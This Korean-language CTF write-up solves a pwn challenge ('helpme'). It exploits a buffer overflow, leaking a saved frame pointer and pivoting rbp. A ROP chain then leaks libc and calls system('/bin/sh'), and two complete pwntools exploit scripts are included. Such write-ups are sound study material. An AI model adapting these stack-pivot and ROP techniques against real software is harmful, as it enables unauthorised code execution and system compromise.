

C코드를 보자. main 함수 내부에는 긴 설명이 적혀있다. 간단히 요약해보면 name을 입력 받고(크기는 10byte로 제한) 이를 출력해주며, vuln 함수를 두번 실행한다. 메인 함수의 내부에서는 FSB를 이용하기 힘들어 보인다.
vuln 함수 내부를 보자. check와 check2를 검사함으로써 vuln 함수를 두번만 실행할 수 있게 하고 있다. 그리고 read 부분에서는 buf의 크기보다 0x10만큼 더 입력 받음으로써 bof를 가능하게 하고 있다.
printf 들을 보면 FSB는 힘들어보인다.. 따라서 ROP를 이용해야 할 것 같은데, main 함수 내부의 Memo가 눈길이 간다.
‘Memo: What is stack frame???? Is that connected???nn’
스택 프레임을 잘 이용해서 해결할 수 있는 문제인가? 일단 그래서 스택 프레임과, 함수 프롤로그 & 에필로그에 대해 다시 정리해보았다.

Is that connected에 대한 대답으로는 Yes!를 말할 수 있을 것 같다. 왜냐하면 위의 그림으로도 설명했지만, 호출한 vuln의 sfp에는 이전 함수의 sfp주소가 저장되기 때문이다. 따라서, vuln의 sfp를 leak하면 main 함수의 sfp의 주소를 leak 할 수 있을 것 같다!
그래서 내가 처음 세웠던 시나리오는 다음과 같다.

- vuln의 sfp를 leak하여 main 함수의 sfp 주소를 얻어낸다.
- vuln의 sfp를 main함수의 ret + 0x50으로 바꾸고, ret는 vuln + 61(check 검사하는 if 문 다음)으로 덮는다.
- sfp에 main 함수의 ret + 0x50이 들어있었기에, read 함수에서 입력받는 부분이 main의 ret부터이다. 여기에 pop rdi, printf의 got주소, printf의 plt주소를 순서대로 입력해서 실제 주소를 알아내고, 알아낸 것을 바탕으로 하여 libc_base의 주소를 알아낸다. 그 다음 read 함수를 실행시켜 bss에 /bin/sh를 적고, system(bss)를 실행시켜 쉘을 따낸다.
실제로 작성했던 exploit 코드이다.
############################ Input name #######################################
p.sendline(b'Jin')
############################ 1st vuln #########################################
p.recvuntil(b'n')
payload=b'A' * 0x50
pause()
p.send(payload)
mainSFP = u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(mainSFP))
############################ 2nd vuln #########################################
p.recvuntil(b'n')
payload=b'A' * 0x50
payload+=p64(mainSFP+0x8+0x50) #rbp <-- main's ret + 0x50
payload+=p64(vuln_64)
pause()
p.send(payload)
############################ 3rd vuln #########################################
p.recvuntil(b'n')
payload=p64(p_rdi) + p64(printf_got)
payload+=p64(printf_plt)
payload+=p64(p_rdi) + p64(0)
payload+=p64(p_rsi_r15) + p64(bss) +p64(0)
payload+=p64(read_plt)
payload+=p64(ret)
payload+=p64(mainSFP)
payload+=p64(main_leave)
pause()
p.send(payload)
dummy = u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('dummy data - '+hex(dummy))
sleep(0.3)
leak = u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
libc_base=leak - printf_offset
log.info('libc_base - '+hex(libc_base))
pause()
p.send(b'/bin/shx00')
p.interactive()
이렇게 해서 printf(printf.got)를 실행시켰지만, 계속 이상한 값이 leak되었다.

leak data도 이상하고, 따라서 libc_base도 정확하지 않다..!

printf의 실제 주소를 leak하지는 못하고, 엉뚱한 함수의 주소를 출력하는 모양이다..
printf의 got 주소를 exit의 got 주소로도 바꿔보았지만 똑같은 문제가 계속 발생했다.
다시 찾아보니, printf의 got을 printf의 plt로 출력하기 전에 ‘n’이 3개나 출력되고 있었다. 그래서 개행을 세번 받아주고, 다시 leak을 저장하니 정상적으로 printf의 실제 주소를 얻을 수 있었다.

그런데 read 함수가 정상적으로 실행되지 못했다. gdb로 까보니 read 함수를 호출할 때 rdx에 0이 들어있었다. 현재 pop rdx;ret 가젯을 구하지도 못하니 bss에 /bin/sh을 적지 않고 그냥 libc_base에 있는 /bin/sh의 주소를 얻어오기로 했다.
그렇게 /bin/sh의 주소를 얻어와서 system 함수를 실행하도록 했는데, 실행이 되지 않았다! gdb로 문제를 찾아보니, vuln의 read 함수 부분으로 입력을 다시 받을 때 read 함수 내부에서 syscall하고 마지막에 ret하는 과정에서 sfp가 내가 작성해서 보낸 새로운 payload의 맨 윗부분이 아닌 중간 부분을 참조하고 있어서 ret가 정상적으로 실행되지 못한 것이었다!
그래서 vuln을 3번째로 호출할 때, rbp에 저장되는 값을 잘 조정해줘서, printf(printf.got)와 jmp to vuln + 54를 끝내고 난 후의 sfp의 위치가 저장된 rbp – 0x50에 맞도록 3번째에 호출한 vuln의 read 함수에 작성할 때 payload를 수정해주었다.
설명이 약간 복잡하지만, 그림으로 표현하면 다음과 같다.

결과적으로, vuln 함수를 총 4번(앞의 2번은 main 함수의 vuln 호출 부분을 통해, 뒤의 2번은 ret 조작을 통해) 호출하고, sfp를 잘 조작하여 다음 번의 read할 때 rsp와 rbp의 위치가 맞도록 해주면 된다. (왜냐하면 push rbp; mov rsp, rbp와 같은 함수 프롤로그 부분을 뛰어넘고 read만 실행하게 하기 때문이다!)
위의 과정을 종합한 exploit 코드는 다음과 같다.
from pwn import *
#context.log_level = 'debug'
p = process('./helpme')
e = ELF('./helpme')
vuln_54=0x401253
main_leave=0x40136c
p_rdi=0x4013d3
ret=0x40101a
printf_offset=0x60770
system_offset=0x50d60
binsh_offset=0x1d8698
printf_got=e.got['printf']
printf_plt=e.plt['printf']
############################ Input name #######################################
p.sendline(b'Jin')
############################ 1st vuln #########################################
p.recvuntil(b'n')
payload=b'A' * 0x50
pause()
p.send(payload)
mainSFP = u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(mainSFP))
############################ 2nd vuln #########################################
p.recvuntil(b'n')
payload=b'B' * 0x50
payload+=p64(mainSFP-0x30) #rbp <-- 지금 현재 지점
payload+=p64(vuln_54)
pause()
p.send(payload)
############################ 3rd vuln #########################################
p.recvuntil(b'n')
payload=p64(mainSFP-0x8)
payload+=p64(p_rdi) + p64(printf_got)
payload+=p64(ret)
payload+=p64(printf_plt)
payload+=p64(vuln_54)
payload+=b'C' *(0x50-len(payload))
payload+=p64(mainSFP-0x30-0x50)
payload+=p64(main_leave)
pause()
p.send(payload)
p.recvuntil(b'n')
p.recvuntil(b'n')
p.recvuntil(b'n')
leak = u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
libc_base=leak - printf_offset
log.info('libc_base - '+hex(libc_base))
system=libc_base + system_offset
binsh=libc_base + binsh_offset
############################ 4th vuln #########################################
p.recvuntil(b'n')
payload=p64(p_rdi) + p64(binsh)
payload+=p64(ret)
payload+=p64(system)
pause()
p.send(payload)
p.interactive()

성공적으로 쉘을 따냈다!